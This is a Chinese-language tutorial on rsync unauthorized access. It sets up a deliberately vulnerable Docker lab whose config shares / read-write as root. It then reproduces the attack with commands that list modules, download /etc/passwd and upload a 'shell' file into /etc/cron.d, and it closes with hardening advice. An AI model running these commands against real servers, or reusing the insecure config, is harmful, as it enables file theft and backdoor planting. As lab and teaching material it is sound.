rsync 未授权访问漏洞


0x00前言

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。

0x01漏洞原理

rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

0x02漏洞危害

rsync未授权访问会造成严重的信息泄露,攻击者可以上传脚本后门文件,远程命令执行。

0x03环境搭建

docker-compose.yml

version: '2'
services:
rsync:
  build: .
  ports:
  - "873:873"

docker-entrypoint.sh

#!/bin/bash

set -ex

service cron start

exec rsync --no-detach --daemon --config /etc/rsyncd.conf

rsyncd.conf

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log

[src]
path = /
comment = src path
read only = no

Dockerfile

FROM vulhub/rsync:3.1.2

LABEL maintainer="phithon "

COPY rsyncd.conf /etc/rsyncd.conf

COPY docker-entrypoint.sh /docker-entrypoint.sh

RUN apt-get update \
  && apt-get install --no-install-recommends -y cron \
  && mkdir /data/ \
  && chmod +x /docker-entrypoint.sh \
  && rm -rf /var/lib/apt/lists/*

CMD ["/docker-entrypoint.sh"]

启动漏洞环境:

docker-compose build
docker-compose up -d

0x04漏洞复现

使用nmap检测rsync未授权访问:

nmap -p 873 --script rsync-list-modules 192.168.193.128

 

 

使用rsync命令访问:

rsync rsync://your-ip:873/

 



查看模块列表

列出模块下的文件:

rsync rsync://your-ip:873/src/

 

下载文件命令:

rsync -av rsync://your-ip:873/src/etc/passwd ./

上传文件命令:

rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

0x05修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:

访问控制:设置host allow,限制允许访问主机的IP。

权限控制:设置read only,将模块设置成只读。

访问认证:设置auth、secrets,认证成功才能调用服务。

模块隐藏:设置list,将模块隐藏。


*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。

更多渗透技术干货学习,咨询:15386496074